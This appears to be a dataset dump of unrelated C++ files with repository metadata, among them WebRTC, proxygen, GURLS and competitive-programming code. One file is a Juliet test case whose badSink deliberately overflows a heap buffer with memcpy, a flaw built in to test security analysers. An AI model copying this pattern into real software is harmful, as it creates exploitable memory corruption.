std::cout << counter * counter << std::endl;
return 0;
} | [
"an.sochnev@yandex.ru"
] | an.sochnev@yandex.ru |
e74fa62f29e2a8ee0fe3f415b1908e549ec9f1ba | 3a39b41a8f76d7d51b48be3c956a357cc183ffae | /Codejam/19_WomenIO/A.cpp | 566db4b77d8fbb9b6449e64d752712b3e520dad2 | [] | no_license | Acka1357/ProblemSolving | 411facce03d6bf7fd4597dfe99ef58eb7724ac65 | 17ef7606af8386fbd8ecefcc490a336998a90b86 | refs/heads/master | 2020-05-05T10:27:43.356584 | 2019-11-07T06:23:11 | 2019-11-07T06:23:11 | 179,933,949 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 825 | cpp | #include <cstdio>
#include <cstring>
#include <algorithm>
#include <cmath>
#include <cstdlib>
#include <queue>
#include <vector>
#include <utility>
#include <functional>
using namespace std;
typedef long long ll;
int m[1002], d[1002];
int main()
{
int T, tc = 0; for(scanf("%d", &T); tc++ < T;){
int K; scanf("%d", &K);
for(int i = 0; i <= K; i++)
scanf("%d", &m[i]);
memset(d, 0xff, sizeof(d));
d[0] = d[1] = 0;
for(int i = 2; i <= K; i++){
int minv = m[i - 1], maxv = m[i - 1];
d[i] = d[i - 1];
for(int j = i - 2; j >= 0; j--){
if(minv < m[i] && minv < m[j])
d[i] = max(d[i], d[j] + 1);
if(maxv > m[i] && maxv > m[j])
d[i] = max(d[i], d[j] + 1);
minv = min(minv, m[j]);
maxv = max(maxv, m[j]);
}
}
printf("Case #%d: %d\n", tc, d[K] - 1);
}
return 0;
}
| [
"Acka1357@gmail.com"
] | Acka1357@gmail.com |
4d63d4814f8145266ccd9a69a2b85984975fdc0c | 8dc84558f0058d90dfc4955e905dab1b22d12c08 | /third_party/webrtc/api/test/videocodec_test_fixture.h | 68e063750c4d6f553bf85a48ed701a02e759c2f8 | [
"LGPL-2.0-or-later",
"GPL-1.0-or-later",
"MIT",
"Apache-2.0",
"LicenseRef-scancode-unknown-license-reference",
"BSD-3-Clause",
"LicenseRef-scancode-google-patent-license-webm",
"LicenseRef-scancode-google-patent-license-webrtc",
"LicenseRef-scancode-takuya-ooura",
"LicenseRef-scancode-public-domai... | permissive | meniossin/src | 42a95cc6c4a9c71d43d62bc4311224ca1fd61e03 | 44f73f7e76119e5ab415d4593ac66485e65d700a | refs/heads/master | 2022-12-16T20:17:03.747113 | 2020-09-03T10:43:12 | 2020-09-03T10:43:12 | 263,710,168 | 1 | 0 | BSD-3-Clause | 2020-05-13T18:20:09 | 2020-05-13T18:20:08 | null | UTF-8 | C++ | false | false | 5,007 | h | /*
* Copyright (c) 2018 The WebRTC project authors. All Rights Reserved.
*
* Use of this source code is governed by a BSD-style license
* that can be found in the LICENSE file in the root of the source
* tree. An additional intellectual property rights grant can be found
* in the file PATENTS. All contributing project authors may
* be found in the AUTHORS file in the root of the source tree.
*/
#ifndef API_TEST_VIDEOCODEC_TEST_FIXTURE_H_
#define API_TEST_VIDEOCODEC_TEST_FIXTURE_H_
#include <string>
#include <vector>
#include "api/test/videocodec_test_stats.h"
#include "api/video_codecs/video_decoder_factory.h"
#include "api/video_codecs/video_encoder_factory.h"
#include "modules/video_coding/include/video_codec_interface.h"
namespace webrtc {
namespace test {
// Rates for the encoder and the frame number when to change profile.
struct RateProfile {
size_t target_kbps;
size_t input_fps;
size_t frame_index_rate_update;
};
struct RateControlThresholds {
double max_avg_bitrate_mismatch_percent;
double max_time_to_reach_target_bitrate_sec;
// TODO(ssilkin): Use absolute threshold for framerate.
double max_avg_framerate_mismatch_percent;
double max_avg_buffer_level_sec;
double max_max_key_frame_delay_sec;
double max_max_delta_frame_delay_sec;
size_t max_num_spatial_resizes;
size_t max_num_key_frames;
};
struct QualityThresholds {
double min_avg_psnr;
double min_min_psnr;
double min_avg_ssim;
double min_min_ssim;
};
struct BitstreamThresholds {
size_t max_max_nalu_size_bytes;
};
// Should video files be saved persistently to disk for post-run visualization?
struct VisualizationParams {
bool save_encoded_ivf;
bool save_decoded_y4m;
};
class VideoCodecTestFixture {
public:
class EncodedFrameChecker {
public:
virtual ~EncodedFrameChecker() = default;
virtual void CheckEncodedFrame(webrtc::VideoCodecType codec,
const EncodedImage& encoded_frame) const = 0;
};
struct Config {
Config();
void SetCodecSettings(std::string codec_name,
size_t num_simulcast_streams,
size_t num_spatial_layers,
size_t num_temporal_layers,
bool denoising_on,
bool frame_dropper_on,
bool spatial_resize_on,
size_t width,
size_t height);
size_t NumberOfCores() const;
size_t NumberOfTemporalLayers() const;
size_t NumberOfSpatialLayers() const;
size_t NumberOfSimulcastStreams() const;
std::string ToString() const;
std::string CodecName() const;
bool IsAsyncCodec() const;
// Plain name of YUV file to process without file extension.
std::string filename;
// File to process. This must be a video file in the YUV format.
std::string filepath;
// Number of frames to process.
size_t num_frames = 0;
// Bitstream constraints.
size_t max_payload_size_bytes = 1440;
// Should we decode the encoded frames?
bool decode = true;
// Force the encoder and decoder to use a single core for processing.
bool use_single_core = false;
// Should cpu usage be measured?
// If set to true, the encoding will run in real-time.
bool measure_cpu = false;
// If > 0: forces the encoder to create a keyframe every Nth frame.
size_t keyframe_interval = 0;
// Codec settings to use.
webrtc::VideoCodec codec_settings;
// Name of the codec being tested.
std::string codec_name;
// H.264 specific settings.
struct H264CodecSettings {
H264::Profile profile = H264::kProfileConstrainedBaseline;
H264PacketizationMode packetization_mode =
webrtc::H264PacketizationMode::NonInterleaved;
} h264_codec_settings;
// Should hardware accelerated codecs be used?
bool hw_encoder = false;
bool hw_decoder = false;
// Should the encoder be wrapped in a SimulcastEncoderAdapter?
bool simulcast_adapted_encoder = false;
// Should the hardware codecs be wrapped in software fallbacks?
bool sw_fallback_encoder = false;
bool sw_fallback_decoder = false;
// Custom checker that will be called for each frame.
const EncodedFrameChecker* encoded_frame_checker = nullptr;
// Print out frame level stats.
bool print_frame_level_stats = false;
};
virtual ~VideoCodecTestFixture() = default;
virtual void RunTest(const std::vector<RateProfile>& rate_profiles,
const std::vector<RateControlThresholds>* rc_thresholds,
const std::vector<QualityThresholds>* quality_thresholds,
const BitstreamThresholds* bs_thresholds,
const VisualizationParams* visualization_params) = 0;
virtual VideoCodecTestStats& GetStats() = 0;
};
} // namespace test
} // namespace webrtc
#endif // API_TEST_VIDEOCODEC_TEST_FIXTURE_H_
| [
"arnaud@geometry.ee"
] | arnaud@geometry.ee |
1fd0493e1c399eb8030f9fce638bee1ce60c9e89 | 14fe137c60481ea3ad445ac1da585d9aad0a551b | /PODSampler-v1912/libPOD/lnInclude/compile_DenseBase_LinSpacedInt.cpp | 906b7c80722bab289333ab7c4e1715716ef198b7 | [] | no_license | maxshatsky/libDataAnalysis | 7eec4384cfee085e2601b15cff70fada8b8154be | 0d17b0678c7881a7f0c46bb7a87ec2a746b01486 | refs/heads/master | 2021-07-09T15:01:03.778585 | 2020-09-07T09:53:36 | 2020-09-07T09:53:36 | 192,750,658 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 73 | cpp | ../thirdparty/Eigen/build/doc/snippets/compile_DenseBase_LinSpacedInt.cpp | [
"maxshatsky@madmaxpc.intra.ispras.ru"
] | maxshatsky@madmaxpc.intra.ispras.ru |
bb2abd0614fa0b43b4ea0035996e0b550c663a68 | 1a4a2139ba99f636d29f8c66da230ddffb561c5d | /Solutions Folder 1/21.cpp | 0ca94d5a39607a6d8f7d371bbc0883ace515b5cb | [] | no_license | viren-vii/CP | bb099fc47df04a43777c3ba39f30f7e419024dcc | cc185b9060d7b9bddb30a48641cb91299ab4a418 | refs/heads/main | 2023-08-18T07:45:45.731866 | 2021-10-03T04:42:33 | 2021-10-03T04:42:33 | 370,229,351 | 0 | 0 | null | 2021-05-24T04:42:53 | 2021-05-24T04:42:52 | null | UTF-8 | C++ | false | false | 323 | cpp | #include<bits/stdc++.h>
using namespace std;
#define pb push_back
#define all(x) x.begin(), x.end()
typedef vector<int> vi;
int main(void){
int i,temp, count=3;
vi v;
for(i=0; i<4; i++){
cin>>temp;
v.pb(temp);
}
sort(all(v));
for(i=0; i<3; i++){
if(v[i]!=v[i+1]){
count--;
}
}
cout<<count;
return 0;
}
| [
"amitchoudhary9425@gmail.com"
] | amitchoudhary9425@gmail.com |
a011609d9cfd11f2001ee9a4bdee16f46ff90491 | 20a9fecc11881edda151073c3ad3e39c091641d6 | /proxygen/lib/http/codec/compress/experimental/simulator/CompressionSimulator.cpp | 2fba84ec46e684c8e7498d64d7a6159c69e7cf2d | [
"BSD-3-Clause",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | KIKOU2016/proxygen | 11fc5adb8d92cf0b0e86d607cbfad75a5c05e3ca | a235726328066a3c9de7d9c3c0c75e44e939fbe6 | refs/heads/master | 2020-06-28T03:32:51.857013 | 2019-08-01T21:11:20 | 2019-08-01T21:14:47 | 200,132,896 | 1 | 0 | NOASSERTION | 2019-08-01T23:44:12 | 2019-08-01T23:44:12 | null | UTF-8 | C++ | false | false | 14,532 | cpp | /*
* Copyright (c) 2015-present, Facebook, Inc.
* All rights reserved.
*
* This source code is licensed under the BSD-style license found in the
* LICENSE file in the root directory of this source tree. An additional grant
* of patent rights can be found in the PATENTS file in the same directory.
*
*/
#include "proxygen/lib/http/codec/compress/experimental/simulator/CompressionSimulator.h"
#include "proxygen/lib/http/codec/compress/experimental/simulator/CompressionUtils.h"
#include "proxygen/lib/http/codec/compress/experimental/simulator/HPACKScheme.h"
#include "proxygen/lib/http/codec/compress/experimental/simulator/QPACKScheme.h"
#include "proxygen/lib/http/codec/compress/experimental/simulator/QMINScheme.h"
#include <proxygen/lib/http/codec/compress/test/HTTPArchive.h>
#include <proxygen/lib/utils/TestUtils.h>
#include <proxygen/lib/utils/Time.h>
using namespace std;
using namespace folly;
using namespace proxygen;
namespace {
using namespace proxygen::compress;
// This needs to be synchronized with HPACKEncoder::kAutoFlushThreshold.
const size_t kMTU = 1400;
const std::string kTestDir = getContainingDirectory(__FILE__).str();
} // namespace
namespace proxygen { namespace compress {
bool CompressionSimulator::readInputFromFileAndSchedule(
const string& filename) {
unique_ptr<HTTPArchive> har;
try {
har = HTTPArchive::fromFile(kTestDir + filename);
} catch (const std::exception& ex) {
LOG(ERROR) << folly::exceptionStr(ex);
}
if (!har || har->requests.size() == 0) {
return false;
}
// Sort by start time (har ordered by finish time?)
std::sort(har->requests.begin(),
har->requests.end(),
[](const HTTPMessage& a, const HTTPMessage& b) {
return a.getStartTime() < b.getStartTime();
});
TimePoint last = har->requests[0].getStartTime();
std::chrono::milliseconds cumulativeDelay(0);
uint16_t index = 0;
for (HTTPMessage& msg : har->requests) {
auto delayFromPrevious = millisecondsBetween(msg.getStartTime(), last);
// If there was a quiescent gap in the HAR of at least some value, shrink
// it so the test doesn't last forever
if (delayFromPrevious > std::chrono::milliseconds(1000)) {
delayFromPrevious = std::chrono::milliseconds(1000);
}
last = msg.getStartTime();
cumulativeDelay += delayFromPrevious;
setupRequest(index++, std::move(msg), cumulativeDelay);
}
for (auto& kv : domains_) {
flushRequests(kv.second.get());
}
return true;
}
void CompressionSimulator::run() {
#ifndef HAVE_REAL_QMIN
if (params_.type == SchemeType::QMIN) {
LOG(INFO) << "QMIN not available";
return;
}
#endif
LOG(INFO) << "Starting run";
eventBase_.loop();
uint32_t holBlockCount = 0;
for (auto& scheme : domains_) {
holBlockCount += scheme.second->getHolBlockCount();
}
LOG(INFO) << "Complete"
<< "\nStats:"
"\nSeed: "
<< params_.seed << "\nBlocks sent: " << requests_.size()
<< "\nAllowed OOO: " << stats_.allowedOOO
<< "\nPackets: " << stats_.packets
<< "\nPacket Losses: " << stats_.packetLosses
<< "\nHOL Block Count: " << holBlockCount
<< "\nHOL Delay (ms): " << stats_.holDelay.count()
<< "\nMax Queue Buffer Bytes: " << stats_.maxQueueBufferBytes
<< "\nUncompressed Bytes: " << stats_.uncompressed
<< "\nCompressed Bytes: " << stats_.compressed
<< "\nCompression Ratio: "
<< int(100 - double(100 * stats_.compressed) / stats_.uncompressed);
}
void CompressionSimulator::flushRequests(CompressionScheme* scheme) {
VLOG(5) << "schedule encode for " << scheme->packetIndices.size()
<< " blocks at " << scheme->prev.count();
// Flush previous train
scheduleEvent(
[this, scheme, indices = std::move(scheme->packetIndices)]() mutable {
bool newPacket = true;
while (!indices.empty()) {
int16_t index = indices.front();
indices.pop_front();
auto schemeIndex = scheme->index;
auto encodeRes = encode(scheme, newPacket, index);
FrameFlags flags = encodeRes.first;
bool allowOOO = flags.allowOOO;
if (schemeIndex < minOOOThresh()) {
allowOOO = false;
auto ack = scheme->getAck(schemeIndex);
if (ack) {
scheme->recvAck(std::move(ack));
}
}
stats_.allowedOOO += (allowOOO) ? 1 : 0;
flags.allowOOO = allowOOO;
scheme->encodedBlocks.emplace_back(flags,
newPacket,
std::move(encodeRes.second),
&callbacks_[index]);
newPacket = false;
}
eventBase_.runInLoop(scheme, true);
},
scheme->prev);
}
void CompressionSimulator::setupRequest(uint16_t index,
HTTPMessage&& msg,
std::chrono::milliseconds encodeDelay) {
// Normalize to relative paths
const auto& query = msg.getQueryString();
if (query.empty()) {
msg.setURL(msg.getPath());
} else {
msg.setURL(folly::to<string>(msg.getPath(), "?", query));
}
auto scheme = getScheme(msg.getHeaders().getSingleOrEmpty(HTTP_HEADER_HOST));
requests_.emplace_back(msg);
auto decodeCompleteCB =
[index, this, scheme](std::chrono::milliseconds holDelay) {
// record processed timestamp
CHECK(!callbacks_[index].getResult().hasError());
DCHECK_EQ(requests_[index], *callbacks_[index].getResult().value());
stats_.holDelay += holDelay;
VLOG(1) << "Finished decoding request=" << index
<< " with holDelay=" << holDelay.count()
<< " cumulative HoL delay=" << stats_.holDelay.count();
if (callbacks_[index].acknowledge) {
sendAck(scheme, scheme->getAck(callbacks_[index].seqn));
}
};
callbacks_.emplace_back(index, decodeCompleteCB);
// Assume that all packets with same encodeDelay will form a packet
// train. Encode them as a group, so can we can emulate packet
// boundaries more realistically, telling the encoder which blocks
// start such trains.
if (scheme->packetIndices.size() > 0) {
auto delayFromPrevious = encodeDelay - scheme->prev;
VLOG(1) << "request " << index << " delay " << delayFromPrevious.count();
if (delayFromPrevious > std::chrono::milliseconds(1)) {
flushRequests(scheme);
}
}
scheme->prev = encodeDelay;
scheme->packetIndices.push_back(index);
}
// Once per loop, each connection flushes it's encode blocks and schedules
// decodes based on how many packets the block occupies
void CompressionScheme::runLoopCallback() noexcept {
simulator_->flushSchemePackets(this);
}
void CompressionSimulator::flushPacket(CompressionScheme* scheme) {
if (scheme->packetBlocks.empty()) {
return;
}
stats_.packets++;
VLOG(1) << "schedule decode for " << scheme->packetBlocks.size()
<< " blocks at " << scheme->decodeDelay.count();
scheduleEvent(
{[this, scheme, blocks = std::move(scheme->packetBlocks)]() mutable {
decodePacket(scheme, blocks);
}},
scheme->decodeDelay);
scheme->packetBytes = 0;
}
void CompressionSimulator::flushSchemePackets(CompressionScheme* scheme) {
CHECK(!scheme->encodedBlocks.empty());
VLOG(2) << "Flushing " << scheme->encodedBlocks.size() << " requests";
// tracks the number of bytes in the current simulated packet
auto encodeRes = &scheme->encodedBlocks.front();
bool newPacket = std::get<1>(*encodeRes);
size_t headerBlockBytesRemaining =
std::get<2>(*encodeRes)->computeChainDataLength();
std::chrono::milliseconds packetDelay = deliveryDelay();
scheme->decodeDelay = packetDelay;
while (true) {
if (newPacket) {
flushPacket(scheme);
}
newPacket = false;
// precondition packetBytes < kMTU
if (scheme->packetBytes + headerBlockBytesRemaining >= kMTU) {
// Header block filled current packet, triggering a flush
VLOG(2) << "Request(s) spanned multiple packets";
newPacket = true;
} else {
scheme->packetBytes += headerBlockBytesRemaining;
}
headerBlockBytesRemaining -=
std::min(headerBlockBytesRemaining, kMTU - scheme->packetBytes);
if (headerBlockBytesRemaining == 0) {
// Move from the first element of encodedBlocks to the last
// element of packetBlocks.
scheme->packetBlocks.splice(scheme->packetBlocks.end(),
scheme->encodedBlocks,
scheme->encodedBlocks.begin());
if (scheme->encodedBlocks.empty()) {
// All done
break;
}
// Grab the next request
encodeRes = &scheme->encodedBlocks.front();
newPacket = std::get<1>(*encodeRes);
headerBlockBytesRemaining =
std::get<2>(*encodeRes)->computeChainDataLength();
}
if (newPacket) {
packetDelay = deliveryDelay();
scheme->decodeDelay = std::max(scheme->decodeDelay, packetDelay);
}
}
flushPacket(scheme);
CHECK(scheme->encodedBlocks.empty());
}
CompressionScheme* CompressionSimulator::getScheme(StringPiece domain) {
static string blended("\"Facebook\"");
if (params_.blend &&
(domain.endsWith("facebook.com") || domain.endsWith("fbcdn.net"))) {
domain = blended;
}
auto it = domains_.find(domain.str());
CompressionScheme* scheme = nullptr;
if (it == domains_.end()) {
LOG(INFO) << "Creating scheme for domain=" << domain;
auto schemePtr = makeScheme();
scheme = schemePtr.get();
domains_.emplace(domain.str(), std::move(schemePtr));
} else {
scheme = it->second.get();
}
return scheme;
}
unique_ptr<CompressionScheme> CompressionSimulator::makeScheme() {
switch (params_.type) {
case SchemeType::QPACK:
return make_unique<QPACKScheme>(this, params_.tableSize,
params_.maxBlocking);
case SchemeType::QMIN:
return make_unique<QMINScheme>(this, params_.tableSize);
case SchemeType::HPACK:
return make_unique<HPACKScheme>(this, params_.tableSize);
}
LOG(FATAL) << "Bad scheme";
return nullptr;
}
std::pair<FrameFlags, unique_ptr<IOBuf>> CompressionSimulator::encode(
CompressionScheme* scheme, bool newPacket, uint16_t index) {
VLOG(1) << "Start encoding request=" << index;
// vector to hold cookie crumbs
vector<string> cookies;
vector<compress::Header> allHeaders = prepareMessageForCompression(
requests_[index], cookies);
auto before = stats_.uncompressed;
auto res = scheme->encode(newPacket, std::move(allHeaders), stats_);
VLOG(1) << "Encoded request=" << index << " for host="
<< requests_[index].getHeaders().getSingleOrEmpty(HTTP_HEADER_HOST)
<< " orig size=" << (stats_.uncompressed - before)
<< " block size=" << res.second->computeChainDataLength()
<< " cumulative bytes=" << stats_.compressed
<< " cumulative compression ratio="
<< int(100 - double(100 * stats_.compressed) / stats_.uncompressed);
return res;
}
void CompressionSimulator::decode(CompressionScheme* scheme,
FrameFlags flags,
unique_ptr<IOBuf> encodedReq,
SimStreamingCallback& cb) {
scheme->decode(flags, std::move(encodedReq), stats_, cb);
}
void CompressionSimulator::decodePacket(
CompressionScheme* scheme,
std::list<CompressionScheme::BlockInfo>& blocks) {
VLOG(1) << "decode packet with " << blocks.size() << " blocks";
while (!blocks.empty()) {
auto encodeRes = &blocks.front();
// TODO(ckrasic) - to get packet coordination correct, could plumb
// through "start of packet" flag here. Probably not worth it,
// since it seems to make only a very small difference (about a
// 0.1% compressiondifference on my facebook har).
decode(scheme,
std::get<0>(*encodeRes),
std::move(std::get<2>(*encodeRes)),
*std::get<3>(*encodeRes));
blocks.pop_front();
}
}
void CompressionSimulator::scheduleEvent(folly::Function<void()> f,
std::chrono::milliseconds ms) {
eventBase_.runAfterDelay(std::move(f), ms.count());
}
void CompressionSimulator::sendAck(CompressionScheme* scheme,
unique_ptr<CompressionScheme::Ack> ack) {
if (!ack) {
return;
}
// An ack is a packet
stats_.packets++;
scheduleEvent([a = std::move(ack),
this,
scheme]() mutable { recvAck(scheme, std::move(a)); },
deliveryDelay());
}
void CompressionSimulator::recvAck(CompressionScheme* scheme,
unique_ptr<CompressionScheme::Ack> ack) {
scheme->recvAck(std::move(ack));
}
std::chrono::milliseconds CompressionSimulator::deliveryDelay() {
std::chrono::milliseconds delay = one_half_rtt();
while (loss()) {
stats_.packetLosses++;
scheduleEvent([] { VLOG(4) << "Packet lost!"; }, delay);
std::chrono::milliseconds rxmit = rxmitDelay();
delay += rxmit;
scheduleEvent(
[rxmit] {
VLOG(4) << "Packet loss detected, retransmitting with additional "
<< rxmit.count();
},
delay - one_half_rtt());
}
if (delayed()) {
scheduleEvent([] { VLOG(4) << "Packet delayed in network"; }, delay);
delay += extraDelay();
}
return delay;
}
std::chrono::milliseconds CompressionSimulator::rtt() {
return params_.rtt;
}
std::chrono::milliseconds CompressionSimulator::one_half_rtt() {
return params_.rtt / 2;
}
std::chrono::milliseconds CompressionSimulator::rxmitDelay() {
uint32_t ms = rtt().count() * Random::randDouble(1.1, 2, rng_);
return std::chrono::milliseconds(ms);
}
bool CompressionSimulator::loss() {
return Random::randDouble01(rng_) < params_.lossProbability;
}
bool CompressionSimulator::delayed() {
return Random::randDouble01(rng_) < params_.delayProbability;
}
std::chrono::milliseconds CompressionSimulator::extraDelay() {
uint32_t ms = params_.maxDelay.count() * Random::randDouble01(rng_);
return std::chrono::milliseconds(ms);
}
uint32_t CompressionSimulator::minOOOThresh() {
return params_.minOOOThresh;
}
}} // namespace proxygen::compress
| [
"facebook-github-bot@users.noreply.github.com"
] | facebook-github-bot@users.noreply.github.com |
0d973d8dffc043087588776cd371f8a9bc64d661 | 0f6abfdfce999eec62f8844e3bfa078faa4439e3 | /src/keystore.h | 1b0932764c0e73b6a24c0577d086a437b8eaedf7 | [
"MIT"
] | permissive | romamaslennikov/straks | d77c03cc2be9d19e5cb3db7f1cbe3c8e4a54e0c7 | a68d73accc16b480a267b0f83ca9f8f34cd16f64 | refs/heads/master | 2021-05-14T11:25:47.264422 | 2018-01-04T23:55:47 | 2018-01-04T23:55:47 | 116,381,232 | 1 | 0 | null | 2018-01-05T12:08:39 | 2018-01-05T12:08:38 | null | UTF-8 | C++ | false | false | 3,736 | h | // Copyright (c) 2009-2010 Satoshi Nakamoto
// Copyright (c) 2017 STRAKS developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#ifndef STRAKS_KEYSTORE_H
#define STRAKS_KEYSTORE_H
#include "key.h"
#include "pubkey.h"
#include "script/script.h"
#include "script/standard.h"
#include "sync.h"
#include <boost/signals2/signal.hpp>
#include <boost/variant.hpp>
/** A virtual base class for key stores */
class CKeyStore
{
protected:
mutable CCriticalSection cs_KeyStore;
public:
virtual ~CKeyStore() {}
//! Add a key to the store.
virtual bool AddKeyPubKey(const CKey &key, const CPubKey &pubkey) =0;
virtual bool AddKey(const CKey &key);
//! Check whether a key corresponding to a given address is present in the store.
virtual bool HaveKey(const CKeyID &address) const =0;
virtual bool GetKey(const CKeyID &address, CKey& keyOut) const =0;
virtual void GetKeys(std::set<CKeyID> &setAddress) const =0;
virtual bool GetPubKey(const CKeyID &address, CPubKey& vchPubKeyOut) const =0;
//! Support for BIP 0013 : see https://github.com/straks/bips/blob/master/bip-0013.mediawiki
virtual bool AddCScript(const CScript& redeemScript) =0;
virtual bool HaveCScript(const CScriptID &hash) const =0;
virtual bool GetCScript(const CScriptID &hash, CScript& redeemScriptOut) const =0;
//! Support for Watch-only addresses
virtual bool AddWatchOnly(const CScript &dest) =0;
virtual bool RemoveWatchOnly(const CScript &dest) =0;
virtual bool HaveWatchOnly(const CScript &dest) const =0;
virtual bool HaveWatchOnly() const =0;
};
typedef std::map<CKeyID, CKey> KeyMap;
typedef std::map<CKeyID, CPubKey> WatchKeyMap;
typedef std::map<CScriptID, CScript > ScriptMap;
typedef std::set<CScript> WatchOnlySet;
/** Basic key store, that keeps keys in an address->secret map */
class CBasicKeyStore : public CKeyStore
{
protected:
KeyMap mapKeys;
WatchKeyMap mapWatchKeys;
ScriptMap mapScripts;
WatchOnlySet setWatchOnly;
public:
bool AddKeyPubKey(const CKey& key, const CPubKey &pubkey);
bool GetPubKey(const CKeyID &address, CPubKey& vchPubKeyOut) const;
bool HaveKey(const CKeyID &address) const
{
bool result;
{
LOCK(cs_KeyStore);
result = (mapKeys.count(address) > 0);
}
return result;
}
void GetKeys(std::set<CKeyID> &setAddress) const
{
setAddress.clear();
{
LOCK(cs_KeyStore);
KeyMap::const_iterator mi = mapKeys.begin();
while (mi != mapKeys.end())
{
setAddress.insert((*mi).first);
mi++;
}
}
}
bool GetKey(const CKeyID &address, CKey &keyOut) const
{
{
LOCK(cs_KeyStore);
KeyMap::const_iterator mi = mapKeys.find(address);
if (mi != mapKeys.end())
{
keyOut = mi->second;
return true;
}
}
return false;
}
virtual bool AddCScript(const CScript& redeemScript);
virtual bool HaveCScript(const CScriptID &hash) const;
virtual bool GetCScript(const CScriptID &hash, CScript& redeemScriptOut) const;
virtual bool AddWatchOnly(const CScript &dest);
virtual bool RemoveWatchOnly(const CScript &dest);
virtual bool HaveWatchOnly(const CScript &dest) const;
virtual bool HaveWatchOnly() const;
};
typedef std::vector<unsigned char, secure_allocator<unsigned char> > CKeyingMaterial;
typedef std::map<CKeyID, std::pair<CPubKey, std::vector<unsigned char> > > CryptedKeyMap;
#endif // STRAKS_KEYSTORE_H
| [
"squbs@protonmail.com"
] | squbs@protonmail.com |
c7aaaa49e82069be7eb3e836b69d24f8022b106d | bd1fea86d862456a2ec9f56d57f8948456d55ee6 | /000/068/950/CWE122_Heap_Based_Buffer_Overflow__cpp_CWE805_int_memcpy_66b.cpp | d7a7c34bf4b54b520d7c2626f487d9a06a8f0dff | [] | no_license | CU-0xff/juliet-cpp | d62b8485104d8a9160f29213368324c946f38274 | d8586a217bc94cbcfeeec5d39b12d02e9c6045a2 | refs/heads/master | 2021-03-07T15:44:19.446957 | 2020-03-10T12:45:40 | 2020-03-10T12:45:40 | 246,275,244 | 0 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 1,531 | cpp | /* TEMPLATE GENERATED TESTCASE FILE
Filename: CWE122_Heap_Based_Buffer_Overflow__cpp_CWE805_int_memcpy_66b.cpp
Label Definition File: CWE122_Heap_Based_Buffer_Overflow__cpp_CWE805.label.xml
Template File: sources-sink-66b.tmpl.cpp
*/
/*
* @description
* CWE: 122 Heap Based Buffer Overflow
* BadSource: Allocate using new[] and set data pointer to a small buffer
* GoodSource: Allocate using new[] and set data pointer to a large buffer
* Sinks: memcpy
* BadSink : Copy int array to data using memcpy
* Flow Variant: 66 Data flow: data passed in an array from one function to another in different source files
*
* */
#include "std_testcase.h"
namespace CWE122_Heap_Based_Buffer_Overflow__cpp_CWE805_int_memcpy_66
{
#ifndef OMITBAD
void badSink(int * dataArray[])
{
/* copy data out of dataArray */
int * data = dataArray[2];
{
int source[100] = {0}; /* fill with 0's */
/* POTENTIAL FLAW: Possible buffer overflow if data < 100 */
memcpy(data, source, 100*sizeof(int));
printIntLine(data[0]);
delete [] data;
}
}
#endif /* OMITBAD */
#ifndef OMITGOOD
/* goodG2B uses the GoodSource with the BadSink */
void goodG2BSink(int * dataArray[])
{
int * data = dataArray[2];
{
int source[100] = {0}; /* fill with 0's */
/* POTENTIAL FLAW: Possible buffer overflow if data < 100 */
memcpy(data, source, 100*sizeof(int));
printIntLine(data[0]);
delete [] data;
}
}
#endif /* OMITGOOD */
} /* close namespace */
| [
"frank@fischer.com.mt"
] | frank@fischer.com.mt |
87743a0b06520eabdaca0d0bcf385edad0fcdb8d | 51834a2b26e73f129b6c2e0b0345797041b815bc | /pygurls/src/pygurls_wrapper.h | 729876b0ef979a0fca4049b75e3786623985b4e2 | [] | no_license | phrqas/GURLS | df04dfbfda21f52b6f9263b8f7d8c24e815c7b4c | d0df8915199b3e3f134be7814d94229b747765a5 | refs/heads/master | 2021-01-18T15:40:21.124338 | 2015-01-27T05:45:56 | 2015-01-27T05:45:56 | 26,782,363 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 4,815 | h | /*
# A Python wrapper for GURLS++.
#
# Copyright (c) 2014 MIT. All rights reserved.
#
# author: Pedro Santana
# e-mail: psantana@mit.edu
# website: people.csail.mit.edu/psantana
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
#
# 1. Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# 2. Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in
# the documentation and/or other materials provided with the
# distribution.
# 3. Neither the name(s) of the copyright holders nor the names of its
# contributors or of the Massachusetts Institute of Technology may be
# used to endorse or promote products derived from this software
# without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
# COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
# BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
# OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
# AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
# ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
*/
#include <iostream>
#include <stdexcept>
#include <string>
#include <string.h>
#include "gurls++/gurls.h"
#include "gurls++/traintest.h"
#include "gurls++/exceptions.h"
#include "gurls++/gvec.h"
#include "gurls++/gmat2d.h"
#include "gurls++/options.h"
#include "gurls++/optlist.h"
#include "gurls++/gmath.h"
#include "gurls++/traintest.h"
#include "gurls++/gprwrapper.h"
#include "gurls++/recrlswrapper.h"
#include "gurls++/rlsprimal.h"
#include "gurls++/primal.h"
/**
IMPORTANT COMMENT:
Cython doesn't support templated extension classes, so it wasn't possible to
parametrize the wrapper using a template type. Instead, what I did was to
implement everything using void pointers and function pointers that would
route the execution to a correct set of private function in the wrapper class
I implemented double and float, which are the only types supported in gmath.cpp
*/
namespace gurls {
